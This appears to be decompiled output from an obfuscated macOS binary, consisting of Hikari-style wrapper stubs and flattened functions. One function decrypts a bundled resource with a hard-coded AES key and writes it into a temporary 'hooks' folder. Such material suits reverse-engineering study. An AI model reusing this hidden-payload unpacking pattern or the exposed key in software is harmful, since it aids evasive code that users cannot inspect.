void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19295(void *a1, const char *a2)
{
HikariFunctionWrapper_19294(a1, a2);
}
//----- (0000000100225A50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19296(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225A60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19297(void *a1, const char *a2)
{
HikariFunctionWrapper_19296(a1, a2);
}
//----- (0000000100225A70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19298(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225A80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19299(void *a1, const char *a2)
{
HikariFunctionWrapper_19298(a1, a2);
}
//----- (0000000100225A90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19300(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100225AA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19301(objc_class *a1)
{
return HikariFunctionWrapper_19300(a1);
}
//----- (0000000100225AB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19302(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (0000000100225AC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19303(const void *a1, int a2)
{
HikariFunctionWrapper_19302(a1, a2);
}
//----- (0000000100225AD0) ----------------------------------------------------
BOOL __fastcall HikariFunctionWrapper_19304(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4)
{
return class_addMethod(a1, a2, a3, a4);
}
//----- (0000000100225AE0) ----------------------------------------------------
BOOL __fastcall HikariFunctionWrapper_19305(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4)
{
return HikariFunctionWrapper_19304(a1, a2, a3, a4);
}
//----- (0000000100225AF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19306(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225B00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19307(void *a1, const char *a2)
{
return HikariFunctionWrapper_19306(a1, a2);
}
//----- (0000000100225B10) ----------------------------------------------------
SecCertificateRef __fastcall HikariFunctionWrapper_19308(__SecTrust *a1, CFIndex a2)
{
return SecTrustGetCertificateAtIndex(a1, a2);
}
//----- (0000000100225B20) ----------------------------------------------------
SecCertificateRef __fastcall HikariFunctionWrapper_19309(__SecTrust *a1, CFIndex a2)
{
return HikariFunctionWrapper_19308(a1, a2);
}
//----- (0000000100225B30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19310(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100225B40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19311(objc_class *a1)
{
return HikariFunctionWrapper_19310(a1);
}
//----- (0000000100225B50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19312(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225B60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19313(void *a1, const char *a2)
{
return HikariFunctionWrapper_19312(a1, a2);
}
//----- (0000000100225B70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19314(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225B80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19315(void *a1, const char *a2)
{
return HikariFunctionWrapper_19314(a1, a2);
}
//----- (0000000100225B90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19316(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225BA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19317(void *a1, const char *a2)
{
return HikariFunctionWrapper_19316(a1, a2);
}
//----- (0000000100225BB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19318(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225BC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19319(void *a1, const char *a2)
{
return HikariFunctionWrapper_19318(a1, a2);
}
//----- (0000000100225BD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19320(__int64 a1)
{
return sha256ForFile(a1);
}
//----- (0000000100225BE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19321(__int64 a1)
{
return HikariFunctionWrapper_19320(a1);
}
//----- (0000000100225BF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19322(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225C00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19323(void *a1, const char *a2)
{
return HikariFunctionWrapper_19322(a1, a2);
}
//----- (0000000100225C10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19324(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225C20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19325(void *a1, const char *a2)
{
return HikariFunctionWrapper_19324(a1, a2);
}
//----- (0000000100225C30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19326(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225C40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19327(void *a1, const char *a2)
{
HikariFunctionWrapper_19326(a1, a2);
}
//----- (0000000100225C50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19328(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225C60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19329(void *a1, const char *a2)
{
return HikariFunctionWrapper_19328(a1, a2);
}
//----- (0000000100225C70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19330(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (0000000100225C80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19331(const void *a1, int a2)
{
HikariFunctionWrapper_19330(a1, a2);
}
//----- (0000000100225C90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19332(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (0000000100225CA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19333(const void *a1, int a2)
{
HikariFunctionWrapper_19332(a1, a2);
}
//----- (0000000100225CB0) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_19334(dispatch_semaphore_s *a1, dispatch_time_t a2)
{
return dispatch_semaphore_wait(a1, a2);
}
//----- (0000000100225CC0) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_19335(dispatch_semaphore_s *a1, dispatch_time_t a2)
{
return HikariFunctionWrapper_19334(a1, a2);
}
//----- (0000000100225CD0) ----------------------------------------------------
BOOL __fastcall HikariFunctionWrapper_19336(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4)
{
return class_addMethod(a1, a2, a3, a4);
}
//----- (0000000100225CE0) ----------------------------------------------------
BOOL __fastcall HikariFunctionWrapper_19337(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4)
{
return HikariFunctionWrapper_19336(a1, a2, a3, a4);
}
//----- (0000000100225CF0) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_19338(dispatch_semaphore_s *a1)
{
return dispatch_semaphore_signal(a1);
}
//----- (0000000100225D00) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_19339(dispatch_semaphore_s *a1)
{
return HikariFunctionWrapper_19338(a1);
}
//----- (0000000100225D10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19340(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225D20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19341(void *a1, const char *a2)
{
return HikariFunctionWrapper_19340(a1, a2);
}
//----- (0000000100225D30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19342(void *a1)
{
return decryptMyData(a1);
}
//----- (0000000100225D40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19343(void *a1)
{
return HikariFunctionWrapper_19342(a1);
}
//----- (0000000100225D50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19344(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225D60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19345(void *a1, const char *a2)
{
return HikariFunctionWrapper_19344(a1, a2);
}
//----- (0000000100225D70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19346(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225D80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19347(void *a1, const char *a2)
{
return HikariFunctionWrapper_19346(a1, a2);
}
//----- (0000000100225D90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19348(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225DA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19349(void *a1, const char *a2)
{
return HikariFunctionWrapper_19348(a1, a2);
}
//----- (0000000100225DB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19350(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225DC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19351(void *a1, const char *a2)
{
return HikariFunctionWrapper_19350(a1, a2);
}
//----- (0000000100225DD0) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_19352(dispatch_semaphore_s *a1)
{
return dispatch_semaphore_signal(a1);
}
//----- (0000000100225DE0) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_19353(dispatch_semaphore_s *a1)
{
return HikariFunctionWrapper_19352(a1);
}
//----- (0000000100225DF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19354(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225E00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19355(void *a1, const char *a2)
{
return HikariFunctionWrapper_19354(a1, a2);
}
//----- (0000000100225E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19356(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19357(void *a1, const char *a2)
{
return HikariFunctionWrapper_19356(a1, a2);
}
//----- (0000000100225E30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19358(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225E40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19359(void *a1, const char *a2)
{
return HikariFunctionWrapper_19358(a1, a2);
}
//----- (0000000100225E50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19360(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225E60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19361(void *a1, const char *a2)
{
return HikariFunctionWrapper_19360(a1, a2);
}
//----- (0000000100225E70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19362(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225E80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19363(void *a1, const char *a2)
{
return HikariFunctionWrapper_19362(a1, a2);
}
//----- (0000000100225E90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19364(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225EA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19365(void *a1, const char *a2)
{
return HikariFunctionWrapper_19364(a1, a2);
}
//----- (0000000100225EB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19366(
void *a1,
const char *a2,
void *a3,
ptrdiff_t a4)
{
objc_setProperty_atomic(a1, a2, a3, a4);
}
//----- (0000000100225EC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19367(
void *a1,
const char *a2,
void *a3,
ptrdiff_t a4)
{
HikariFunctionWrapper_19366(a1, a2, a3, a4);
}
//----- (0000000100225ED0) ----------------------------------------------------
__int64 __fastcall FileDecryptAndSave2(void *a1, void *a2)
{
__int64 result; // rax
char v3; // cf
int v4; // eax
int v5; // ecx
id v6; // rax
id v7; // rax
id v8; // r13
id v9; // rax
id v10; // r12
id v11; // rbx
id v12; // rax
id v13; // r13
int v14; // ecx
NSString *v15; // rax
id v16; // rax
id v17; // r13
id v18; // rax
NSBundle *v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // r13
NSString *v24; // rax
NSBundle *v25; // rax
NSBundle *v26; // rax
NSString *v27; // rax
NSString *v28; // rax
NSString *v29; // rax
id v30; // rax
id v31; // r15
id v32; // rax
id v33; // r13
id v34; // rax
id v35; // r12
id v36; // rbx
id v37; // rax
id v38; // r13
NSBundle *v39; // [rsp+8h] [rbp-88h]
id v40; // [rsp+10h] [rbp-80h]
id v41; // [rsp+18h] [rbp-78h]
int v42; // [rsp+28h] [rbp-68h]
int v43; // [rsp+2Ch] [rbp-64h] BYREF
id v44; // [rsp+30h] [rbp-60h]
id v45; // [rsp+38h] [rbp-58h]
id v46; // [rsp+40h] [rbp-50h]
id v47; // [rsp+48h] [rbp-48h]
bool v48; // [rsp+56h] [rbp-3Ah]
char v49; // [rsp+57h] [rbp-39h]
int *v50; // [rsp+58h] [rbp-38h]
char v51; // [rsp+67h] [rbp-29h]
v47 = a2;
v42 = dword_10029F714;
v43 = -1590898284;
v50 = &v43;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v43;
if ( v43 > -488689999 )
break;
if ( v43 > -1284652140 )
{
if ( v43 <= -971097843 )
{
if ( v43 == -1284652139 )
{
asc_10029B870[0] = v51;
asc_10029B870[1] = 109;
asc_10029B870[2] = 66;
asc_10029B870[3] = 120;
asc_10029B870[4] = 70;
asc_10029B870[5] = 122;
asc_10029B870[6] = 76;
asc_10029B870[7] = 112;
asc_10029B870[8] = 75;
asc_10029B870[9] = 110;
asc_10029B870[10] = 86;
asc_10029B870[11] = 114;
asc_10029B870[12] = 88;
asc_10029B870[13] = 116;
asc_10029B870[14] = 87;
asc_10029B870[15] = 100;
asc_10029B870[16] = 81;
asc_10029B870[17] = 111;
asc_10029B870[18] = 83;
asc_10029B870[19] = 119;
asc_10029B870[20] = 73;
asc_10029B870[21] = 118;
asc_10029B870[22] = 78;
asc_10029B870[23] = 117;
asc_10029B870[24] = 77;
asc_10029B870[25] = 108;
asc_10029B870[26] = 80;
asc_10029B870[27] = 97;
asc_10029B870[28] = 68;
asc_10029B870[29] = 106;
asc_10029B870[30] = 89;
asc_10029B870[31] = 99;
asc_10029B870[32] = 0;
*v50 = -1847366765;
}
else if ( v43 == -992758054 )
{
objc_release(v40);
objc_release(v39);
v15 = +[NSString stringWithContentsOfFile:encoding:error:](
&OBJC_CLASS___NSString,
"stringWithContentsOfFile:encoding:error:",
v44,
4,
0);
v46 = objc_retainAutoreleasedReturnValue(v15);
*v50 = -757319671;
}
}
else
{
switch ( v43 )
{
case -971097842:
dword_10029F714 = 1;
objc_retain(v47);
objc_retain(a1);
v22 = HikariFunctionWrapper_607();
v23 = objc_retainAutoreleasedReturnValue(v22);
v24 = +[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("[\xF8U"), v23);
objc_retainAutoreleasedReturnValue(v24);
objc_release(v23);
v25 = +[NSBundle mainBundle](&OBJC_CLASS___NSBundle, "mainBundle");
v26 = objc_retainAutoreleasedReturnValue(v25);
v27 = -[NSBundle resourcePath](v26, "resourcePath");
v28 = objc_retainAutoreleasedReturnValue(v27);
v29 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("ǡA\xD7\xF1\bڹ\xE1\x72\x23\xD2\xDF80\a5\x19\x82\xE8\xF4\x7E"),
v28,
a1);
objc_retainAutoreleasedReturnValue(v29);
objc_release(a1);
*v50 = -448175452;
break;
case -757319671:
v4 = 1972192020;
goto LABEL_50;
case -565579437:
v4 = 1488324546;
if ( v48 )
v4 = -42628730;
LABEL_50:
*v50 = v4;
break;
}
}
}
else if ( v43 <= -1847366766 )
{
if ( v43 == -2029997987 )
{
aAa[9] = v49 ^ 0x87;
aAa[10] = 101;
aAa[11] = 115;
aAa[12] = 111;
aAa[13] = 117;
aAa[14] = 114;
aAa[15] = 99;
aAa[16] = 101;
aAa[17] = 115;
aAa[18] = 47;
aAa[19] = 37;
aAa[20] = 64;
aAa[21] = 0;
v51 = 71;
*v50 = 878077108;
}
else if ( v43 == -1997271343 )
{
asc_10029B8D9[0] = 37;
asc_10029B8D9[1] = 64;
asc_10029B8D9[2] = 0;
aAa[0] = 37;
aAa[1] = 64;
aAa[2] = 47;
aAa[3] = 104;
aAa[4] = 111;
v3 = 1;
aAa[5] = 111;
aAa[6] = 107;
aAa[7] = 115;
aAa[8] = 47;
v49 = -11;
v4 = -303811042;
v5 = -380565196;
goto LABEL_48;
}
}
else
{
switch ( v43 )
{
case -1847366765:
asc_10029B870[0] = v51;
asc_10029B870[1] = 109;
asc_10029B870[2] = 66;
asc_10029B870[3] = 120;
asc_10029B870[4] = 70;
asc_10029B870[5] = 122;
asc_10029B870[6] = 76;
asc_10029B870[7] = 112;
asc_10029B870[8] = 75;
asc_10029B870[9] = 110;
asc_10029B870[10] = 86;
asc_10029B870[11] = 114;
asc_10029B870[12] = 88;
asc_10029B870[13] = 116;
asc_10029B870[14] = 87;
asc_10029B870[15] = 100;
asc_10029B870[16] = 81;
asc_10029B870[17] = 111;
asc_10029B870[18] = 83;
asc_10029B870[19] = 119;
asc_10029B870[20] = 73;
asc_10029B870[21] = 118;
asc_10029B870[22] = 78;
asc_10029B870[23] = 117;
asc_10029B870[24] = 77;
asc_10029B870[25] = 108;
asc_10029B870[26] = 80;
asc_10029B870[27] = 97;
asc_10029B870[28] = 68;
asc_10029B870[29] = 106;
asc_10029B870[30] = 89;
asc_10029B870[31] = 99;
asc_10029B870[32] = 0;
v4 = -488689998;
goto LABEL_50;
case -1726072335:
v30 = objc_alloc((Class)&OBJC_CLASS___NSData);
v31 = objc_msgSend(v30, "initWithBase64EncodedString:options:", v46, 0);
v32 = objc_msgSend(
CFSTR("\x85k%QX\b\xA8y\x06\a%f\x1C\xBDI($\xD0\xD27\x91-3R(n\x8B\x11xC<\xA7\xB5"),
"dataUsingEncoding:",
4);
v33 = objc_retainAutoreleasedReturnValue(v32);
v34 = AES256DecryptWithData(v31, v33);
v35 = objc_retainAutoreleasedReturnValue(v34);
objc_release(v33);
v36 = v47;
v37 = objc_msgSend(v45, "stringByAppendingPathComponent:", v47);
v38 = objc_retainAutoreleasedReturnValue(v37);
objc_release(v36);
objc_msgSend(v35, "writeToFile:atomically:", v38, 1);
objc_release(v38);
objc_release(v35);
objc_release(v31);
objc_release(v46);
objc_release(v44);
objc_release(v45);
*v50 = 1972192020;
break;
case -1590898284:
v48 = v42 == 0;
*v50 = -565579437;
break;
}
}
}
if ( v43 > 878077107 )
break;
if ( v43 <= -380565197 )
{
if ( v43 == -488689998 )
{
*v50 = 1488324546;
}
else if ( v43 == -448175452 )
{
dword_10029F714 = 1;
objc_retain(v47);
objc_retain(a1);
v16 = TemporaryDir();
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = HikariFunctionWrapper_597(&OBJC_CLASS___NSString, "stringWithFormat:");
v45 = objc_retainAutoreleasedReturnValue(v18);
objc_release(v17);
v19 = +[NSBundle mainBundle](&OBJC_CLASS___NSBundle, "mainBundle");
v39 = objc_retainAutoreleasedReturnValue(v19);
v20 = HikariFunctionWrapper_599(v39, "resourcePath");
v40 = objc_retainAutoreleasedReturnValue(v20);
v21 = HikariFunctionWrapper_601(&OBJC_CLASS___NSString, "stringWithFormat:");
v44 = objc_retainAutoreleasedReturnValue(v21);
objc_release(a1);
v14 = 1050828682;
goto LABEL_44;
}
}
else
{
switch ( v43 )
{
case -380565196:
asc_10029B8D9[0] = 37;
asc_10029B8D9[1] = 64;
asc_10029B8D9[2] = 0;
aAa[0] = 37;
aAa[1] = 64;
aAa[2] = 47;
aAa[3] = 104;
aAa[4] = 111;
aAa[5] = 111;
aAa[6] = 107;
aAa[7] = 115;
aAa[8] = 47;
*v50 = -1997271343;
break;
case -303811042:
*v50 = -2029997987;
break;
case -42628730:
v3 = 0;
v4 = -380565196;
v5 = -1997271343;
goto LABEL_48;
}
}
}
if ( v43 > 1488324545 )
break;
if ( v43 == 878077108 )
{
v14 = -1847366765;
goto LABEL_44;
}
if ( v43 == 1050828682 )
*v50 = -992758054;
}
if ( v43 == 1488324546 )
{
v3 = 0;
v4 = -971097842;
v5 = -448175452;
LABEL_48:
if ( !v3 )
v4 = v5;
goto LABEL_50;
}
if ( v43 == 1972192020 )
{
v6 = objc_alloc((Class)&OBJC_CLASS___NSData);
v41 = objc_msgSend(v6, "initWithBase64EncodedString:options:", v46, 0);
v7 = objc_msgSend(
CFSTR("\x85k%QX\b\xA8y\x06\a%f\x1C\xBDI($\xD0\xD27\x91-3R(n\x8B\x11xC<\xA7\xB5"),
"dataUsingEncoding:",
4);
v8 = objc_retainAutoreleasedReturnValue(v7);
v9 = HikariFunctionWrapper_603(v41, v8);
v10 = objc_retainAutoreleasedReturnValue(v9);
objc_release(v8);
v11 = v47;
v12 = objc_msgSend(v45, "stringByAppendingPathComponent:", v47);
v13 = objc_retainAutoreleasedReturnValue(v12);
objc_release(v11);
HikariFunctionWrapper_605(v10, "writeToFile:atomically:");
objc_release(v13);
objc_release(v10);
objc_release(v41);
objc_release(v46);
objc_release(v44);
objc_release(v45);
v14 = 1895131748;
LABEL_44:
v4 = v14;
goto LABEL_50;
}
}
while ( v43 != 1895131748 );
return result;
}
// 1002262B1: variable 'v40' is possibly undefined
// 1002262BA: variable 'v39' is possibly undefined
// 10029B900: using guessed type __CFString stru_10029B900;
// 10029B940: using guessed type __CFString cfstr_Aa;
// 10029B980: using guessed type __CFString stru_10029B980;
// 10029F714: using guessed type int dword_10029F714;
//----- (0000000100226D39) ----------------------------------------------------
id __fastcall AES256DecryptWithData(id a1, id a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
id v7; // rax
id v8; // rax
bool v9; // zf
int v10; // ecx
id v11; // rax
NSData *v12; // rax
id v13; // r15
void *v14; // rax
char v16; // [rsp-10h] [rbp-90h] BYREF
__int128 v17; // [rsp+0h] [rbp-80h] BYREF
__int128 dataOutAvailable; // [rsp+10h] [rbp-70h]
id v19; // [rsp+20h] [rbp-60h]
int v20; // [rsp+28h] [rbp-58h]
int v21; // [rsp+2Ch] [rbp-54h] BYREF
void *key; // [rsp+30h] [rbp-50h]
size_t *dataOutMoved; // [rsp+38h] [rbp-48h]
void *dataOut; // [rsp+40h] [rbp-40h]
int *v25; // [rsp+48h] [rbp-38h]
__int64 v26; // [rsp+50h] [rbp-30h]
v26 = -1;
v20 = 0;
v21 = -10019308;
v25 = &v21;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v21 > 20154234 )
{
if ( v21 <= 863328209 )
{
if ( v21 <= 253668064 )
{
switch ( v21 )
{
case 20154235:
*v25 = -1144242263;
break;
case 170781672:
objc_retain(a1);
objc_msgSend(a2, "getBytes:length:", key, 33);
*((_QWORD *)&v17 + 1) = objc_msgSend(a1, "length");
*(_QWORD *)&dataOutAvailable = *((_QWORD *)&v17 + 1) + 16LL;
v14 = malloc(*((_QWORD *)&v17 + 1) + 16LL);
v2 = 0;
dataOut = v14;
v3 = 1953705730;
v4 = -1557431316;
LABEL_72:
if ( v2 )
v3 = v4;
goto LABEL_78;
case 227760572:
*v25 = -1421515216;
v19 = 0;
break;
}
}
else if ( v21 > 589957144 )
{
if ( v21 == 589957145 )
{
LABEL_56:
*v25 = -1170217536;
}
else if ( v21 == 659187186 )
{
free(dataOut);
*v25 = 1784448732;
}
}
else if ( v21 == 253668065 )
{
*v25 = -147805456;
}
else if ( v21 == 501993919 )
{
v5 = 1;
v3 = -1144242263;
v6 = 20154235;
goto LABEL_76;
}
}
else if ( v21 > 1648179589 )
{
if ( v21 > 1784448731 )
{
if ( v21 == 1784448732 )
{
free(dataOut);
v5 = 0;
v3 = 1784448732;
v6 = -65916383;
goto LABEL_76;
}
if ( v21 == 1953705730 )
*v25 = 1478673540;
}
else if ( v21 == 1648179590 )
{
*v25 = -647730057;
}
else if ( v21 == 1733578114 )
{
*v25 = -1421515216;
v19 = (id)*((_QWORD *)&dataOutAvailable + 1);
}
}
else if ( v21 > 1478673539 )
{
if ( v21 == 1478673540 )
{
*dataOutMoved = 0;
objc_retainAutorelease(a1);
v13 = objc_msgSend(a1, "bytes");
objc_release(a1);
v9 = CCCrypt(
1u,
0,
3u,
key,
0x20u,
0,
v13,
*((size_t *)&v17 + 1),
dataOut,
dataOutAvailable,
dataOutMoved) == 0;
v3 = 1234458911;
v10 = -524133656;
LABEL_67:
if ( v9 )
v3 = v10;
goto LABEL_78;
}
if ( v21 == 1552484420 )
{
v16 = 0;
*v25 = -1917547116;
}
}
else if ( v21 == 863328210 )
{
v12 = +[NSData dataWithBytesNoCopy:length:](
&OBJC_CLASS___NSData,
"dataWithBytesNoCopy:length:",
dataOut,
*dataOutMoved);
objc_retainAutoreleasedReturnValue(v12);
*v25 = -1588745262;
}
else if ( v21 == 1234458911 )
{
v2 = 1;
v3 = 659187186;
v4 = 1784448732;
goto LABEL_72;
}
}
if ( v21 <= -1059387617 )
break;
if ( v21 <= -220943813 )
{
switch ( v21 )
{
case -1059387616:
*v25 = -220943812;
break;
case -647730057:
v5 = 0;
v3 = 1648179590;
v6 = 227760572;
LABEL_76:
if ( !v5 )
v3 = v6;
LABEL_78:
*v25 = v3;
break;
case -524133656:
v9 = 0;
v3 = -1588745262;
v10 = 863328210;
goto LABEL_67;
}
}
else if ( v21 > -65916384 )
{
if ( v21 == -65916383 )
{
*v25 = -1339211722;
}
else if ( v21 == -10019308 )
{
v9 = v20 == 508787313;
v3 = -1917547116;
v10 = 1552484420;
goto LABEL_67;
}
}
else
{
if ( v21 == -220943812 )
goto LABEL_56;
if ( v21 == -147805456 )
{
v2 = 1;
v3 = -1557431316;
v4 = 170781672;
goto LABEL_72;
}
}
}
if ( v21 <= -1339211723 )
break;
if ( v21 > -1170217537 )
{
if ( v21 == -1170217536 )
{
v3 = -1301977159;
goto LABEL_78;
}
if ( v21 == -1144242263 )
{
v2 = 0;
v3 = 1733578114;
v4 = -1144242263;
goto LABEL_72;
}
}
else
{
if ( v21 == -1339211722 )
{
v2 = 0;
v3 = -647730057;
v4 = 1648179590;
goto LABEL_72;
}
if ( v21 == -1301977159 )
*v25 = 501993919;
}
}
if ( v21 > -1557431317 )
break;
if ( v21 == -1917547116 )
{
key = &v17;
v9 = 0;
dataOutMoved = (size_t *)&v16;
dataOutAvailable = 0;
v17 = 0;
LOBYTE(v19) = 0;
v3 = 253668065;
v10 = -1917547116;
goto LABEL_67;
}
if ( v21 == -1588745262 )
{
v7 = HikariFunctionWrapper_609(&OBJC_CLASS___NSData, "dataWithBytesNoCopy:length:");
v8 = objc_retainAutoreleasedReturnValue(v7);
v2 = 0;
*((_QWORD *)&dataOutAvailable + 1) = v8;
v3 = -1059387616;
v4 = -1588745262;
goto LABEL_72;
}
}
if ( v21 != -1557431316 )
break;
objc_retain(a1);
objc_msgSend(a2, "getBytes:length:", key, 33);
v11 = objc_msgSend(a1, "length");
HikariFunctionWrapper_611((size_t)v11 + 16);
*v25 = 170781672;
}
}
while ( v21 != -1421515216 );
return objc_autoreleaseReturnValue(v19);
}
//----- (00000001002274F0) ----------------------------------------------------
id encryptionKey2()
{
int v0; // eax
id v2; // [rsp+0h] [rbp-50h]
int v3; // [rsp+Ch] [rbp-44h]
int v4; // [rsp+10h] [rbp-40h] BYREF
bool v5; // [rsp+16h] [rbp-3Ah]
char v6; // [rsp+17h] [rbp-39h]
int *v7; // [rsp+18h] [rbp-38h]
char v8; // [rsp+27h] [rbp-29h]
v3 = dword_10029F71C;
v4 = -1557592485;
v7 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v4 > -239899749 )
{
if ( v4 <= 333817627 )
{
if ( v4 <= -78361335 )
{
if ( v4 == -239899748 )
{
asc_10029B870[30] = v8;
asc_10029B870[31] = 99;
asc_10029B870[32] = 0;
v0 = -505430235;
goto LABEL_53;
}
if ( v4 == -194766475 )
*v7 = 1960656590;
}
else
{
switch ( v4 )
{
case -78361334:
asc_10029B870[3] = v6 ^ 0xB3;
asc_10029B870[4] = 70;
asc_10029B870[5] = 122;
asc_10029B870[6] = 76;
asc_10029B870[7] = 112;
